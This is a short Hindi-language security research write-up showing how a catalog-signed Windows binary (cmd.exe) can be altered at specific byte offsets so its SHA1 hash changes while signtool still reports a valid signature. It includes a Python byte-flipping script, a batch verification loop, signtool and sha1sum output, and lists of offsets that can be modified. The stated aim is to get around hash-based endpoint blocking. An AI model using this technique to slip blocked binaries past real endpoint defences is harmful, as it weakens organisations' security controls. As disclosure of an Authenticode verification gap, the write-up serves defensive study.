
हस्ताक्षरित विंडोज़ बाइनरी को इस तरह म्यूटेट करता है कि वैध कैटलॉग हस्ताक्षर बरकरार रहें जबकि फ़ाइल हैश बदल जाते हैं, जिससे हैश-आधारित एंडपॉइंट ब्लॉक बायपास हो जाते हैं और ऑथेंटिकोड सत्यापन की कमियाँ उजागर होती हैं।
विचार यह था कि एंडपॉइंट सॉल्यूशन को बायपास किया जाए जो ज्ञात "दुर्भावनापूर्ण" साइन्ड एप्लिकेशन जैसे "regsvr32.exe" को ब्लॉक करते हैं। मैं एक वैध साइन्ड फ़ाइल प्राप्त करने का तरीका खोजना चाहता था जिसका हैश अलग हो।
signtool verify /v /a cmd.exe का उपयोग करना
C:\signcheck>signtool verify /a /v cmd.exe
Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Sun May 09 19:28:13 2021
SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072
मैंने सोचा कि "Hash of file" आउटपुट के आधार पर cmd.exe का SHA1 था (7EB22CBAA74B208DF433C70C06A99280036A52F3)
आगे की जाँच से पता चला कि cmd.exe फ़ाइल का SHA1 था
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
दिलचस्प: एक ही फ़ाइल, 2 अलग-अलग हैश।
इस बिंदु पर मुझे संदेह हुआ कि हस्ताक्षर (signature) फ़ाइल के सभी अनुभागों को शामिल नहीं कर सकता है।
मैंने टेस्ट फ़ाइलें उत्पन्न करने के लिए एक सरल पायथन स्क्रिप्ट लिखी।
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print "done"
फिर python generate.py cmd.exe चलाया गया और 300 Gb से अधिक नई फ़ाइलें उत्पन्न हुईं।
अब हमें बनाई गई प्रत्येक फ़ाइल को सत्यापित करना होगा कि वे हस्ताक्षर परीक्षण पास करती हैं या नहीं।
एक सरल बैच फ़ाइल ऐसा कर सकती है
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a %%A.exe
)
बाइनरी 330.exe ने हस्ताक्षर जाँच पास कर ली। इस मामले में फ़ाइल अलग है क्योंकि ऑफ़सेट 330 को संशोधित किया गया था।
C:\signcheck>signtool verify /a /v 330.exe
Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe
$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
निम्नलिखित बाइट्स को हस्ताक्षर को तोड़े बिना संशोधित किया जा सकता है:
330, 331, 408 - 412
निम्नलिखित बाइट्स को हस्ताक्षर को तोड़े बिना संशोधित किया जा सकता है:
320 - 323, 400 - 407
निम्नलिखित बाइट्स को हस्ताक्षर को तोड़े बिना संशोधित किया जा सकता है:
216 - 219